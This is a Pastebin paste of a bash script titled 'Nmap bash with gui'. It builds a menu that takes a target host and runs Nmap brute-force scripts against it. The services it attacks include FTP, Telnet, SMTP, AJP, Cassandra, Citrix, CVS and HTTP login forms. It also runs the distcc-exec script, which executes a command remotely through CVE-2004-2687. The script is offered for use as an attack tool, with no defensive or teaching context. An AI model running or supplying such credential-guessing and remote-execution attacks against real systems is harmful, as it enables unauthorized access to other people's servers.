Advertisement
xosski

Nmap bash with gui

Jan 22nd, 2025
11
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.88 KB | None | 0 0
  1. #!/bin/bash
  2.  
  3. # Clear the screen
  4. clear
  5.  
  6. # Display header
  7. cat << "EOF"
  8. \ | \ | \ _ \ __ ) | ____|
  9. \ | |\/ | _ \ | | __ \ __| | | __| _ \ | _ \ __| __| _ \ __|
  10. |\ |_____| | | ___ \ ___/ | | | | | | __/ __| ( | | ( __/ |
  11. _| \_| _| _|_/ _\_| ____/ _| \__,_|\__|\___|_| \___/ _| \___|\___|_| V. - 0.1
  12.  
  13. Inspiration from:@Harshil Patel & @Ashish Kunwar aka dorkerdevil
  14. EOF
  15.  
  16. # Root privilege check
  17. if [ "$(id -u)" -ne 0 ]; then
  18. echo -e "\n[!] This script must be run as \033[1;31mroot\033[0m.\n"
  19. exit 1
  20. fi
  21.  
  22. # Menu loop
  23. while true; do
  24. echo -e "\nChoose an option:"
  25. echo "1) FTP"
  26. echo "2) AFP"
  27. echo "3) Telnet"
  28. echo "4) SMTP"
  29. echo "5) AJP"
  30. echo "6) Cassandra"
  31. echo "7) Citrix"
  32. echo "8) CVS"
  33. echo "9) distcc (CVE-2004-2687)"
  34. echo "10) DNS"
  35. echo "11) HTTP"
  36. echo "12) HTTP-Form"
  37. echo "0) Exit"
  38.  
  39. # Get user choice
  40. read -p "Enter your choice: " choice
  41.  
  42. case $choice in
  43. 0)
  44. echo "Exiting script."
  45. exit 0
  46. ;;
  47. 1)
  48. read -p "Enter the target: " target
  49. nmap -p 21 --script ftp-brute "$target" -d
  50. ;;
  51. 2)
  52. read -p "Enter the target: " target
  53. nmap -p 548 --script afp-bruteforce "$target"
  54. ;;
  55. 3)
  56. read -p "Enter the target: " target
  57. nmap -p 23 --script telnet-brute "$target" -d
  58. ;;
  59. 4)
  60. read -p "Enter the target: " target
  61. nmap -p 25 --script smtp-brute "$target" -d
  62. ;;
  63. 5)
  64. read -p "Enter the target: " target
  65. nmap -p 8009 "$target" --script ajp-brute
  66. ;;
  67. 6)
  68. read -p "Enter the target: " target
  69. nmap -p 9160 "$target" --script cassandra-brute
  70. ;;
  71. 7)
  72. read -p "Enter UserList file (userdb): " userdb
  73. read -p "Enter PasswordList file (passdb): " passdb
  74. read -p "Enter Domain Name (ntdomain): " ntdomain
  75. read -p "Enter Host Name: " host
  76. nmap --script citrix-brute-xml --script-args="userdb=$userdb,passdb=$passdb,ntdomain=$ntdomain" -p 80,443,8080 "$host"
  77. ;;
  78. 8)
  79. read -p "Enter the host: " host
  80. nmap -p 2401 --script cvs-brute "$host"
  81. ;;
  82. 9)
  83. read -p "Enter the target: " target
  84. nmap -p 3632 "$target" --script distcc-exec --script-args="distcc-exec.cmd='id'"
  85. ;;
  86. 10)
  87. read -p "Enter the target: " target
  88. nmap --script dns-brute "$target"
  89. ;;
  90. 11)
  91. read -p "Enter the host: " host
  92. nmap --script http-brute -p 80 "$host"
  93. ;;
  94. 12)
  95. read -p "Enter the host: " host
  96. nmap --script http-form-brute -p 80 "$host"
  97. ;;
  98. *)
  99. echo "Invalid option. Please try again."
  100. ;;
  101. esac
  102. done
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement